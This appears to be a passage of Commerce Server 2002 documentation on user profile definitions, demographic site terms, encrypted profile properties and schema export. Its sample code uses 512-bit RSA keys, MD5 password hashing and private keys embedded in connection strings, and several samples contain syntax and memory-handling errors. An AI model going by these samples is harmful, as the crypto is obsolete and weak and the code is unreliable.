    Display Name | Type the name you want displayed for the attribute. The display name can contain a maximum of 127 Unicode characters.
    Description | Type a description for the attribute. The description can contain a maximum of 127 Unicode characters.
    Value | Type the value of the attribute.
  5. Click Accept, and then click Apply.
  6. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the custom attribute.


Adding Demographic Properties to the User Profile Definition

You can extend the User profile definition by adding the properties required by the Demographic analysis models created in the Predictor resource. If your organization wants to use the Demographic segment and prediction models provided with the Predictor resource, you will need to update the User Object profile definition to collect the demographic data required to build the Demographics model. The demographic data you collect can also be used to build the Combined Demographics and Transactions segment and prediction models.

If the required demographic data is not in your user profiles, you will not be able to build the demographic segment and prediction models. Prediction models look for correlations between data, and the models treat numbers and strings identically, therefore, the profile properties can be either numbers or strings. You must use single-valued site terms to facilitate and normalize user responses to the demographic properties. Site terms are stored as strings.

Following is an overview of the steps you perform to add demographic properties to the User Object profile definition.

To add demographic properties to the User Object profile definition

  1. Add the following columns to the profile database, and create a data member for each one.
    • Age
    • Occupation
    • Marital Status
    • Gender
    • Income
    • Education
    • Children
    • Family Role
    • Region
  2. Create the following site terms:
    Site terms | Site term values
    Age | 20-30; 30-40; 40-50; 50-60
    Occupation | President; Vice President; Manager; Administrative Assistant
    Marital Status | Married; Divorced; Single; Widowed
    Gender | Male; Female
    Income | $20,000-35,000; $35,000-60,000; $60,000-80,000
    Education | High School; College Graduate; Masters Degree; Doctorate Degree; Professional Degree
    Children | 0; 1; 2; 3; 4; 5
    Family Role | Head of Household; Spouse; Other
    Region | North; South; East; West
  3. Add a property group to the User Object profile definition named Demographics.
  4. Add the following properties to the Demographics property group:
    Property | Type | Type reference
    Age | Site Term | Age
    Occupation | Site Term | Occupation
    Marital Status | Site Term | Marital Status
    Gender | Site Term | Gender
    Income | Site Term | Income
    Education | Site Term | Education
    Children | Site Term | Children
    Family Role | Site Term | Family Role
    Region | Site Term | Region
  5. Map each of the new properties to the corresponding data members, and mark each property as exported to the Data Warehouse.
  6. Click Save on the toolbar to save the new properties.
  7. Ask your Web designer to add the new properties to your site Registration page.
  8. Determine how long you need to wait to collect demographic data with the new profile properties on your Web site.
  9. Import the demographic, transaction, Web log file, campaign, and profile data into the Data Warehouse.
  10. Run the Predictor Model Configuration Setup Wizard in the Predictor resource to map profile data to the model configurations and add model configurations to your site.
  11. Use the Predictor resource to build the segment and prediction models.

After you build the Demographic segment and prediction models, your business manager can use the Segment Viewer module in Commerce Server Business Desk to view segment models. You can use the Predictor resource to view prediction models.

See Also

Profile Definitions

Adding a New Data Member in the Profiles Resource

Adding a New Profile Definition in the Profiles Resource

Embedding a Profile Definition in the Profiles Resource

Creating Site Terms in the Profiles Resource


Managing Encrypted Profile Properties

This topic describes many of the components necessary to create a site that maintains the security of important data. One area that this topic does not address is key management.

Important

  • Commerce Server does not include a key management system. You must design and create a key management system that can generate, store, and retrieve public and private keys for use in encryption. For your application to be secure, you must appropriately address this critical issue.

Commerce Server 2002 supports asymmetric encryption and one-way hashing to enable the encryption of profile properties.

To use asymmetric encryption, you normally perform these steps:

  • Use Business Desk to add profile properties that can be encrypted.
  • Generate public and private keys.
  • Modify the application code to:
    • Supply the tokens used in the encryption process to the Profile Service and Commerce Server OLE DB Provider
    • Encrypt properties
    • Decrypt properties
  • Migrate data to a new public/private key pair. Data migration is not covered in this topic.

One-way hashing is used to encrypt data that does not need to be decrypted, such as passwords. Once the encrypted values are stored, data can be compared with the stored values using a hashing algorithm in a string comparison implementation.

This section contains:

  • Adding Encrypted Properties to the Profile Service
  • Generating Public and Private Keys
  • Adding Values for Public Key, Private Key, and Key Index Tokens
  • Creating and Retrieving a Profile Instance with an Encrypted Property
  • One-Way Hashing: Converting and Comparing User Input to the Hashed Value
  • Important Notes for Encrypting Profile Keys


Adding Encrypted Properties to the Profile Service

The following procedures are to add new profile properties that can be encrypted.

Caution

  • Do not mark properties with preexisting data as encryptable. Otherwise, the preexisting data will be lost.

Step 1: Add a new property for the key index

Step 2: Add a profile level custom attribute

Step 3: Add encrypted properties to a profile

Step 1: Add a new property for the key index

  1. Open Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resources, expand Profile Catalog, expand Profile Definitions, and then click User Object.
  3. In the right pane, click Profile System in the Properties list.
  4. Click Add in the right pane.
  5. In the Add-Web Page Dialog box, select Add a new property.
  6. Click OK.
  7. In the Attributes section, type the following:
    Use this | To do this
    Name | Type the name (for example, KeyIndex).
    Display Name | Type the name to be displayed in the Custom Attributes tab (for example, KeyIndex).
    Description | Type the description of the KeyIndex custom attribute.
    Type | Select Number.
    Type Reference | Select as blank. Cannot be a JoinKey, PrimaryKey, DualKey, or HashingKey.
  8. Click Advanced Attributes section, and type the following:
    Use this | To do this
    Active | Clear the Yes check box.
    Map to Data | Click ellipsis button [...] to create data member of type number if it has not already been created.
  9. Click Apply, and then click Save on the toolbar.

Step 2: Add a profile level custom attribute

  1. Right-click your profile (for example, User Object) and select Properties.
  2. Click Custom Attributes tab.
  3. Click New.
  4. In the Custom Attribute dialog box, type the following:
    Use this | To do this
    Name | Type KeyIndex.
    Display Name | Type the name to be displayed (for example, KeyIndex).
    Description | Type the description of the KeyIndex custom attribute.
    Value Type Key Index.

    This should be the same property name as the profile created in the earlier step, Step 1: Add a new property for the key index.
  5. Click OK in the Custom Attribute dialog box.
  6. Click Apply in the User Object Properties dialog box, and then click OK.

Step 3: Add encrypted properties to a profile

  1. Click Add on the right pane.
  2. In the Add-Web Page Dialog box, select Add a new property.
  3. Click OK.
  4. In the Attributes section, do the following:
    Use this | To do this
    Name | Type the property name.
    Display Name | Type the name to be displayed.
    Description | Type the description of KeyIndex custom attribute.
    Type | Select Password or String.
  5. In the Advanced Attributes section, do the following:
    Use this | To do this
    Map to data | Click the ellipsis button [...] to map the property to a data member.
    Key type Leave this blank.

    The key type cannot be a UniqueKey, JoinKey, PrimaryKey, DualKey, or HashingKey.
    Encrypted | Select one of the encryption types from the drop-down list.
    Exported | Clear the Yes check box.
    Multi-valued | Optional.
    Searchable | Clear the Yes check box.
    Hashing Key | Clear the Yes check box.

    Note

    • In the Custom Attributes section, encrypted properties cannot be marked as displaycolumn or friendlyname (for use in the profile editors only).
    • You cannot create a custom attribute at the property level with a name of EncryptedType (case insensitive).
    • Encrypted properties are limited to 795 Unicode characters.
  6. Click the Apply button, and then click Save on the toolbar.


Generating Public and Private Keys

In Commerce Server 2002, asymmetric encryption is done using the RSA public-key key exchange algorithm. The key length is 512 bits, and the Cryptographic Service Provider (CSP) used is Microsoft Enhanced Cryptographic Provider.

The following sample code illustrates the generation of public and private keys using the Microsoft Windows CryptoAPI routines.

CryptoHelper.h
 #define _WIN32_WINNT 0x0400
#include <windows.h>
#include <wincrypt.h>
#include <tchar.h>

// Helper class definition to generate and export Public/Private keys
// for Asymmetric encryption. The semantics for usage are:
// Call AcquireContext with a container name, call
// GenerateKeyPair next and then  call ExportPublicKey or
// ExportPrivateKey.
class CryptoHelper
{
private:
       HCRYPTPROV    m_hCryptProv;
public:
       HCRYPTKEY     m_hCryptKey;
       CryptoHelper();
       ~CryptoHelper();
       HRESULT AcquireContext(LPCTSTR wszContainerName);
       HRESULT GenerateKeyPair();

       HRESULT ExportPublicKey(BYTE **ppPublicKey, DWORD &cbKeySize);;
       HRESULT ExportPrivateKey(BYTE **ppPrivateKey, DWORD &cbKeySize);
};
CryptoHelper.cpp

#include "CryptoHelper.h"
// The RSA public-key key exchange algorithm
#define ENCRYPT_ALGORITHM         CALG_RSA_KEYX
// The high order WORD 0x0200 (decimal 512)
// determines the key length in bits.
#define KEYLENGTH                 0x02000000
//--------------------------------------------------------------------
// The constructor initializes the member variables
// to NULL.
//--------------------------------------------------------------------
CryptoHelper::CryptoHelper()
{
       m_hCryptProv = NULL;
       m_hCryptKey   = NULL;
}
//--------------------------------------------------------------------
// The destructor releases the handles acquired
// when an object goes out of scope.
//--------------------------------------------------------------------
CryptoHelper::~CryptoHelper()
{
       if (m_hCryptProv)
       {
              CryptReleaseContext(m_hCryptProv,0);
              m_hCryptProv = NULL;
       }
       if (m_hCryptKey)
              m_hCryptKey = NULL;
}

//--------------------------------------------------------------------
// This method calls the CryptAcquireContext function
// to get a handle to a key container owned by the the
// Microsoft Enhanced Cryptographic Provider.
//--------------------------------------------------------------------
HRESULT CryptoHelper::AcquireContext(LPCTSTR wszContainerName)
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
// Release a previously acquired handle to the key container.
if (m_hCryptProv != NULL)
       {
              CryptReleaseContext(m_hCryptProv,0);
              m_hCryptProv = NULL;
       }
// Release a previously acquired handle to key-pair.
       if (m_hCryptKey != NULL)
              m_hCryptKey = NULL;
       // Attempt to acquire a context and a key container.
// The context will use Microsoft Enhanced Cryptographic
       // Provider for the RSA_FULL provider type.
       if(!CryptAcquireContext(&m_hCryptProv,
                               wszContainerName,
                               MS_ENHANCED_PROV,
                               PROV_RSA_FULL,
    CRYPT_MACHINE_KEYSET))
       {
         // An error occurred in acquiring the context. This could mean
         // that the key container requested does not exist. In this case,
        // the function can be called again to attempt to create a new key
              // container.
              if (GetLastError() == NTE_BAD_KEYSET)
              {
                     if(!CryptAcquireContext(&m_hCryptProv,
                                            wszContainerName,
                                            MS_ENHANCED_PROV,   PROV_RSA_FULL,
                                            CRYPT_MACHINE_KEYSET|CRYPT_NEWKEYSET))
                     {
                           dwErrCode = GetLastError();
                            return HRESULT_FROM_WIN32(dwErrCode);
                     }
              }
              else
              {
                     dwErrCode = GetLastError();
                     return HRESULT_FROM_WIN32(dwErrCode);
              }
       }
       return hr;
}
//--------------------------------------------------------------------

// This method calls the CryptGenKey function to get a handle to an

// exportable key-pair. The key-pair is  generated with the RSA public-key
// key exchange algorithm using Microsoft Enhanced Cryptographic Provider.
//--------------------------------------------------------------------
HRESULT CryptoHelper::GenerateKeyPair()
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
       // If the handle to key container is NULL, fail.
if (m_hCryptProv == NULL)
              return E_FAIL;
// Release a previously acquired handle to key-pair.
if (m_hCryptKey)
              m_hCryptKey = NULL;
       // Call the CryptGenKey method to get a handle
       // to a new exportable key-pair.
if(!CryptGenKey(m_hCryptProv,
                ENCRYPT_ALGORITHM,
   KEYLENGTH | CRYPT_EXPORTABLE,
   &m_hCryptKey))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       return hr;
}
//--------------------------------------------------------------------
// This method calls the CryptExportKey function to get the Public key
// in a byte array. The byte array is allocated on the heap and the size
// of this is returned to the caller. The caller is responsible for releasing // this memory using a delete call.
//--------------------------------------------------------------------
HRESULT CryptoHelper::ExportPublicKey(BYTE **ppPublicKey, DWORD &cbKeySize)
{
       HRESULT hr = S_OK;
       DWORD    dwErrCode;
       DWORD dwBlobLen;
       BYTE *pbKeyBlob = NULL;
       // If the handle to key container is NULL, fail.
       if (m_hCryptKey == NULL)
              return E_FAIL;
       // This call here determines the length of the key
       // blob.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PUBLICKEYBLOB,
                 0,
                 NULL,
                 &dwBlobLen))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       // Allocate memory for the pbKeyBlob.
       if((pbKeyBlob = new BYTE[dwBlobLen]) == NULL)
       {
              return E_OUTOFMEMORY;
       }
       // Do the actual exporting into the key BLOB.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PUBLICKEYBLOB,
                 0,
                 pbKeyBlob,
                 &dwBlobLen))
       {
              delete pbKeyBlob;
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       else
       {
               *ppPublicKey = pbKeyBlob;
               cbKeySize = dwBlobLen;
       }
       return hr;
}
//--------------------------------------------------------------------
// This method calls the CryptExportKey function to get the Private key
// in a byte array. The byte array is allocated on the heap and the size
// of this is returned to the caller. The caller is responsible for releasing // this memory using a delete call.
//--------------------------------------------------------------------
HRESULT CryptoHelper::ExportPrivateKey(BYTE **ppPrivateKey, DWORD &cbKeySize)
{
       HRESULT       hr = S_OK;
       DWORD         dwErrCode;
       DWORD dwBlobLen;
       BYTE *pbKeyBlob;
       // If the handle to key container is NULL, fail.
       if (m_hCryptKey == NULL)
              return E_FAIL;
       // This call here determines the length of the key
       // blob.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PRIVATEKEYBLOB,
                 0,
                 NULL,
                 &dwBlobLen))
       {
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       // Allocate memory for the pbKeyBlob.
       if((pbKeyBlob = new BYTE[dwBlobLen]) == NULL)
       {
              return E_OUTOFMEMORY;
       }

       // Do the actual exporting into the key BLOB.
       if(!CryptExportKey(
                 m_hCryptKey,
                 NULL,
                 PRIVATEKEYBLOB,
                 0,
                 pbKeyBlob,
                 &dwBlobLen))
       {
              delete pbKeyBlob;
              dwErrCode = GetLastError();
              return HRESULT_FROM_WIN32(dwErrCode);
       }
       else
       {
               *ppPrivateKey = pbKeyBlob;
               cbKeySize = dwBlobLen;
       }
       return hr;
}

Main.cpp
 #include <stdio.h>
#include "CryptoHelper.h"
void main()
{
       CryptoHelper  cryptoHlpr;
       BYTE          *pbPublicKey = NULL, *pbPrivateKey = NULL;
       DWORD         dwPublicKeySize = 0,dwPrivateKeySize = 0;
       HRESULT       hr = S_OK;
       // Get the key container context.
       if (FAILED(hr = cryptoHlpr.AcquireContext((L"TestContainer"))))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
        // Generate the public/private key pair.
if (FAILED(hr = cryptoHlpr.GenerateKeyPair()))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
       // Export out the public key blob.
if (FAILED(hr = cryptoHlpr.ExportPublicKey(&pbPublicKey, dwPublicKeySize)))
       {
// Call FormatMessage to display the error returned in hr.
              return;
       }
       // Print out the public key to console as a
       // hexadecimal string.
wprintf(L"\n\nPublicKey = \"");
       for (DWORD i=0; i < dwPublicKeySize; i++)
       {
              wprintf(L"%02x",pbPublicKey[i]);
       }
       wprintf(L"\"\n");
       // Export out the private key blob.
       cryptoHlpr.ExportPrivateKey(&pbPrivateKey, dwPrivateKeySize);
       // Print out the private key to console as a
       // hexadecimal string.
       wprintf(L"\n\nPrivateKey = \"");
       for (i=0; i < dwPrivateKeySize; i++)
       {
              wprintf(L"%02x",pbPrivateKey[i]);
       }
wprintf(L"\"\n");
       // Delete the public key blob allocated by the
// ExportPublicKey method.
if (pbPublicKey)
          delete [] pbPublicKey;
       // Delete the private key blob allocated by the
// ExportPrivateKey method.
       if (pbPrivateKey)
              delete [] pbPrivateKey;
       return;
}


Adding Values for Public Key, Private Key, and Key Index Tokens

The Commerce Server OLE DB Provider calls the CryptoAPI using the public key and private key values. The values for these public key, private key, and key index tokens must be added manually to the Commerce Server OLE DB Provider connection strings, because there are no UI tools to do this. Note that these values are not stored in the Administration database. It is your responsibility to store these values in appropriately secure storage.

The following tokens are required:

  • 1 Public key token (PublicKey)
  • 2 Private key tokens (PrivateKey1, PrivateKey2)
  • 1 Key Index

The KeyIndex is used to determine which Public key/Private key pair is used in decrypting a given value. The KeyIndex value is determined as follows:

  • When PublicKey is used with PrivateKey1,the KeyIndex value is 1
  • When PublicKey is used with PrivateKey2, the KeyIndex value is 2

Token Settings and the Data Values Returned

If the private key is not specified in the Commerce Server OLE DB Provider connection string, then the encrypted value of the property is returned.

If the private key is specified in the Commerce Server OLE DB Provider connection string, then the decrypted value of the property is returned.

If you are encrypting data, then both the public key and the key index must be specified in the Commerce Server OLE DB Provider connection string.

If you want to both encrypt and decrypt values during any given database connection, then the private key value should correspond to the public key value. Additionally, the private key value must be specified in the appropriate token. For example if the KeyIndex value is equal to 2, then the private key should be specified in the PrivateKey2 token.

In order to add the token values to the Commerce Server OLE DB Provider connection string, you must make the following changes in the global.asa file to the function cnGetProviderConnection. The Profile Service gains access to these keys because it makes calls to the Commerce Server OLEDB Provider.

Original cnGetProviderConnection function:

Function cnGetProviderConnection(oSiteConfigObj)
              Dim cn
              Dim connstr
              ' -- ADO object state values
              const AD_STATE_CLOSED         = &H00000000
              connstr= sGetSiteConfigField(oSiteConfigObj, "Biz Data Service", "s_CommerceProviderConnectionString")
              set cn = Server.CreateObject("ADODB.Connection")
                          if (cn.State = AD_STATE_CLOSED) then
                            cn.Open CStr(connstr)
                            set cnGetProviderConnection = cn
              end if
End Function

Modified cnGetProviderConnection that adds the key tokens:

Function cnGetProviderConnection(oSiteConfigObj)
              Dim cn
              Dim connstr
              Dim publickey, privatekey1, privatekey2
              ' -- ADO object state values
              const AD_STATE_CLOSED         = &H00000000
              connstr= sGetSiteConfigField(oSiteConfigObj,
                                           "Biz Data Service"
                                           "s_CommerceProviderConnectionString")
             ' Append the public/private to the connection string

publicKey = "<hex-string>"privateKey1 = "<hex-string>"
             connstr = connstr & ":PublicKey=" & publicKey &
                ":PrivateKey1=" & privateKey1 & ": & "KeyIndex=1"
              set cn = Server.CreateObject("ADODB.Connection")
                          if (cn.State = AD_STATE_CLOSED) then
                            cn.Open CStr(connstr)
                            set cnGetProviderConnection = cn
              end if
End Function

In the Business Desk root folder, in the file \Profiles\CommonXMLRoutines.asp, you must change the function cnGetProviderConnection in the same way that you changed the cnGetProviderConnection in the example above. The reason that you must make this change is to save the connection string values in the session state variable.

The following are sample connection strings:

Sample Profile Service connection string:

"Provider=CSOLEDB;SERVER=<server-name>;DATABASE=<db-name>;Integrated Security=SSPI;PublicKey=<hex-string>;PrivateKey1=<hex-string>;PrivateKey2=<hex-string>;KeyIndex=1"

Sample CSOLEDB Provider connection string:

"url=mscop://InProcConnect/Server=<server-name>:Database=<db-name>:Catalog=Profile Definitions:Trusted_Connection=True:PublicKey=<hex-string>:PrivateKey1=<hex-string>:PrivateKey2=<hex-string>:KeyIndex=1"

Note that this style of connection string transmits both the public and private keys in clear text, which may compromise your Web site.

If your application uses ASP.NET, you will need to add the following code section to the file web.config. (See the GrenadeFxTest sample, where the code to modify the file web.config has been included but commented out.)

<profiles>
   <encryption>
      <keys keyIndex = "1">
         <add type="publicKey" value="<hex-string>" />
            <add type="privateKey1" value="<hex-string>" />
               <add type="privateKey2" value="<hex-string>" />
      </keys>
    </encryption>


Creating and Retrieving a Profile Instance with an Encrypted Property

Encryption-enabled Web sites must contain code that creates new profiles with encrypted properties as well as code that retrieves the encrypted properties from the database, decrypts, and displays them. The following code sample illustrates this functionality; it also illustrates retrieving the encrypted values from the database to contrast this functionality with retrieving decrypted values. In this example, assume that the encryption of the profile property SSN uses asymmetric encryption.

Notes

  • Profile names that are longer than 57 characters long cannot be exported to the Data Warehouse.
  • Setting values on encrypted properties is the same as setting values on non-encrypted properties; once the connection string has been provided, calls to assign values to variables always use the same syntax, independent of whether or not the value is to be encrypted.
  • The keyIndex field is read-only
option explicit
Dim ProfileSvc
Dim ProfileObject
Dim GenInfo
Dim dsn
Dim PublicKey, PrivateKey1, PublicKey2, PrivateKey2
PublicKey = "<hex-string>"

' Build Connection String
PrivateKey1 = "<hex-string>"
dsn = "Provider=CSOLEDB;Data Source=<server>;Initial Catalog=Retail_commerce;User ID=<user-id>;Password=<password>;"
Dsn = Dsn & "PublicKey=" & PublicKey & ";PrivateKey1=" & PrivateKey1 & ";KeyIndex=1"

' Initialize Profile Service
Set ProfileSvc  = CreateObject("Commerce.ProfileService")
Call ProfileSvc.Initialize (dsn, "Profile Definitions")

' Get Profile
Set ProfileObject = ProfileSvc.CreateProfile("jackcool7@somewhere.com","UserObject")

' Set Properties
Set GenInfo=ProfileObject.Fields.Item("GeneralInfo")
GenInfo.Value.Item("first_name").Value="Jack"
GenInfo.Value.Item("last_name").Value="Cool7"
GenInfo.Value.Item("user_title").Value="Mr."
GenInfo.Value.Item("SSN").Value="123-45-6789"

' Writing to keyIndex will fail, keyIndex is read-only
'GenInfo.Value.Item(<keyIndex).Value=2

ProfileObject.Update

' Read Properties
MsgBox GenInfo.Value.Item("SSN").Value
MsgBox GenInfo.Value.Item(<keyIndex>.Value

' Cleanup
Set ProfileObject=nothing
Set ProfileSvc=nothing
MsgBox "Done!"


One-Way Hashing: Converting and Comparing User Input to the Hashed Value

You can use one-way hashing to encrypt data that does not need to be decrypted; an example implementation is password encryption. The Commerce Server 2002 one-way hashing encryption uses the MD5 Hashing Algorithm.

The following example illustrates a hashed values comparison code example. This example illustrates a scenario that involves one-way hashed passwords. When the user creates the password, the password value is submitted to the Profile Service via the password property. Later, when the user visits the site on another occasion, authenticating against the previously created profile, the site retrieves the salt from the initial characters in the hash, adds the salt to the input value that the user has given, and then hashes this combined value. The resultant password hash is then compared against the previously stored hash minus the pre-appended salt.

This hash example uses an MD5 algorithm combined with random salt. The salt is retrieved as the first four bytes (eight hexadecimal digits) of the value returned from the profile property. The salt is pre-appended to the input value before hashing.

The hash value used for comparison must use a case insensitive comparison, or it must verify that all hexadecimal letter digits are in upper case. This code example illustrates the conversion to upper case.

Note

  • For this hashing algorithm, you must use little-endian string byte ordering to feed the byte stream to the MD5 hash in string comparison implementation.
// get password from user
string inputPassword = Request.QueryString["password"].Value;
// get password stored in user profile
Profile profile = profileContext.GetProfile(userId, profileDefinition);
string storedPassword = (string)profile["GeneralInfo.Password"].Value;

// get salt value
byte saltByte1 = Byte.Parse(storedPassword.Substring(0,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte2 = Byte.Parse(storedPassword.Substring(2,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte3 = Byte.Parse(storedPassword.Substring(4,2), System.Globalization.NumberStyles.HexNumber);
byte saltByte4 = Byte.Parse(storedPassword.Substring(6,2), System.Globalization.NumberStyles.HexNumber);

// create byte array to hash that has salt and password string
System.Text.UnicodeEncoding encode = new System.Text.UnicodeEncoding();
// encoding format is little endian
byte[] dataBuffer = new byte[encode.GetByteCount(inputPassword) + 4]; // get number of bytes and create buffer
dataBuffer[0] = saltByte1; // put salt into first 4 bytes of the buffer
dataBuffer[1] = saltByte2;
dataBuffer[2] = saltByte3;
dataBuffer[3] = saltByte4;

byte[] inputPasswordBytes = encode.GetBytes(inputPassword);

// copy bytes of password into buffer after salt
inputPasswordBytes.CopyTo(dataBuffer, 4);
// get hash
System.Security.Cryptography.MD5CryptoServiceProvider md5 = new System.Security.Cryptography.MD5CryptoServiceProvider();
byte[] hash = md5.ComputeHash(dataBuffer); // get MD5 hashed value

// convert hash value to hex string
System.Text.StringBuilder sb = new System.Text.StringBuilder();
foreach(byte outputByte in hash)
// convert each byte to a Hexadecimal upper case string
   sb.Append(outputByte.ToString("x2").ToUpper());

// verify input password's hash value matches stored hash minus the salt
if (storedPassword.SubString(8) == sb.ToString())
{
// user is now authenticated
}


Important Notes for Encrypting Profile Keys

The private key must not be stored on the Web server, but rather on the application server. In a secure deployment, there are two firewalls between the outside user and the server storing the private key: one between the Web server (containing the public key) and the database, and another between the database and the application server (containing the private key).

In order for the Business Desk to support encryption, you must add the public key to the provider connection string in the following methods:

  • sGetProviderConnStr method in the file \<Business Desk Root>\Profiles\Commonxmlroutines.asp
  • RefreshProviderConnection method in the file \<Business Desk Root>\Profiles\RefreshProfileSvcAll.asp
  • cnGetProviderConnection method in the file \<Business Desk Root>\Global.asa


Managing Site Terms in the Profiles Resource

You can use the Profiles resource to change and delete site terms to better suit your needs. For example, to better match your inventory, you can create a favorite color site term and then change the colors it lists as the seasons change.

This section contains:

  • Creating Site Terms in the Profiles Resource
  • Changing and Deleting Site Terms in the Profiles Resource
  • Adding a Property that Maps to a Site Term in the Profiles Resource

See Also

About the Profiles Resource


Creating Site Terms in the Profiles Resource

You can use the Profiles resource to add new site terms to Commerce Server. You can also perform this task using the Site Terms Editor module in Commerce Server Business Desk. For information about adding a site term in Commerce Server Business Desk, see Adding a Site Term.

When you add a new site term to Commerce Server, you define values, called terms, for the site term. You use site terms to list specific values for a profile property. After you create a site term, you can assign it as the value of a profile property.

For example, you create a Favorite color site term with the values blue, green, and purple. Then, you define a "favorite color" profile property with the type "site term", and assign the Favorite color site term to it. When users select a color for the favorite color property, they are limited to the choices of blue, green, and purple. You use the site terms editor screen in the Profiles resource to add new site terms.

You can create site term groups to help you organize site terms in the site terms editor screen. For example, in addition to favorite color, you can create the following site terms with corresponding values and make them a site term group containing user preferences:

  • Brand (name brand, generic)
  • Quality (lowest price, best quality)
  • Purchase (online, catalog, in store)

To add a site term group

To add a site term

To add a site term group

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<server name_database name>), and then click Site Terms.
  2. In the Properties list, which contains the site terms structure, click Add.
  3. In the Add – Web Page Dialog dialog box, select Add new group, and then click OK.
  4. In the Detailed Information pane, in the Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name for the site term group. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display name | Type the name you want displayed for the site term group. The display name can contain a maximum of 128 Unicode characters.
    Description | Type a description for the site term group. The description can contain a maximum of 128 Unicode characters.
  5. Click Apply.
  6. To save the site terms group, click Save on the toolbar.

To add a site term

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<server name_database name>), and then click Site Terms.
  2. In the Properties list, which contains the site terms structure, select the site term group in which you want to create the new site term, and then click Add.
  3. In the Add – Web Page Dialog dialog box, select the Add new site term option, and then click OK.
  4. In the Detailed Information pane, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type the programmatic name for the site term. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces.
    Display Name | Type the name you want displayed for the site term. The display name can contain a maximum of 128 Unicode characters.
    Description | Type a description for the site term. The description can contain a maximum of 128 Unicode characters.
  5. To add a value to the site term, in the Terms section, click New, and then do the following:
    Use this | To do this
    Term name | Type the programmatic name for the first term. The name can contain a maximum of 128 alphanumeric characters and the underscore (_) symbol. The name cannot contain spaces, and the use of the double-byte character set format.
    Display name | Type the name you want displayed for the term. The display name can contain a maximum of 128 Unicode characters.
  6. To accept the term, click Accept.
  7. To add an additional term to the site term, click New, type the term name and display name for the new term, click Accept, and then click Apply.
  8. To save the site terms, click Save Save on the toolbar.

The terms are saved with the new site term you created.

See Also

About the Profiles Resource

Adding a Property that Maps to a Site Term

Managing Site Terms in the Profiles Resource


Changing and Deleting Site Terms in the Profiles Resource

You can change the attributes and terms of the site terms you create, or delete site terms.

To change a site term

To delete a site term

To change a site term

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, and then click Site Terms.
  2. In the Site term structure list, expand the site term group that contains the site term you want to change.
  3. In the profile designer screen, modify the attributes and terms of the site term as needed, click Accept, and then click Apply.
  4. To save the site term, click Save on the toolbar.

The site term is saved with your changes.

To delete a site term

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, and then click Site Terms.
  2. In the Site term structure list, expand the site term group that contains the site term you want to delete, select the site term, and then click Remove.
  3. In the Delete confirmation dialog box, click OK.

    The site term is deleted.

  4. Click Accept, and then click Apply.
  5. To save the changes, click Save on the toolbar.

The site term is saved with your changes.


Adding a Property that Maps to a Site Term in the Profiles Resource

You can use the Profiles resource to add a site term to a profile definition. You can also perform this task using the Profile Designer module in Commerce Server Business Desk. For more information, see Adding a Property that Maps to a Site Term.

When you assign a site term to a profile property, users on your Web site get a drop-down list of the site term values for the property. The selection a user makes from the site term drop-down list on your Web site is stored in the profile for that user as a type string.

To add a site term to a profile definition

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles, expand Profile Catalog, expand Profile Definitions, and then click the profile definition to which you want to add a site term.
  2. In the profile designer screen, in the Properties list, expand the property group that contains the property you want, and then select the property to which you want to assign the site term.
  3. In the profile designer screen, in the Attributes section, select Site Term from the Type drop-down list.
  4. In the Type Reference box, click the ellipsis [...] button.
  5. In the Site Term Selection dialog box, in the Select a Site Term list, expand the site term group that contains the site term you want to assign to the property, and then select the site term.
  6. Click OK, and then click Apply.

    The site term is assigned to the property.

  7. To save the profile definition, click Save on the toolbar.

The profile definition is saved with the property change.

See Also

About the Profiles Resource

Adding Properties to Profile Definitions in the Profiles Resource

Creating Site Terms in the Profiles Resource

Managing Site Terms in the Profiles Resource


Exporting and Importing Profile Schema

You use the Profiles resource to export profile schema to an XML file and import profile schema from an XML file. For example, you can create data sources, profile definitions, and site terms on a test computer and then export them to an XML file. You can then import the profile schema from the XML file on your production server.

You import and export profile schema to easily move it from one server to another. This is useful, for example, for moving profile schema from a test environment to a production server.

This section contains:

  • Exporting Profile Schema
  • Importing Profile Schema
  • Importing User Profiles


Exporting Profiles Schema

Exporting profile schema allows you to export the following from the Profiles resource to an .xml file:

  • Data sources
  • Data source partitions (without user names and passwords)
  • Profile definitions
  • Site terms

Data source partition connection string user names and passwords are not exported. When you import profile schema, you must recreate the connection strings for each imported data source partition.

To export profile schema

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<computer name_database name>), right-click Profile Catalog, and then click Export Profile Schema.
  2. In the Select a File dialog box, select the profile schema you want to export, and then click Save to save the new XML file.
  3. Click OK in the Profile Schema Export Succeeded dialog box.

The XML file is saved with the specified file name. The Profiles resource removes user names and passwords from the connection strings of the exported data source partitions. You must recreate the connection strings for each data source partition if you import the profile schema. You can open the XML file containing the exported profile schema in an editor, such as Microsoft Notepad, view it in a Web browser, such as Microsoft Internet Explorer, or import it into a Commerce Server Profiles resource.


Importing Profile Schema

When you import schema, you import the following into the Profiles resource from an XML file:

  • Data sources
  • Data source partitions (without user names and passwords)
  • Profile definitions
  • Site terms

When you import profile schema, it overwrites existing profile schema.

To import profile schema

  1. Expand Commerce Server Manager, expand Global Resources, expand Profiles (<computer name_datbase name>), right-click Profile Catalog, and then click Import Profile Schema.
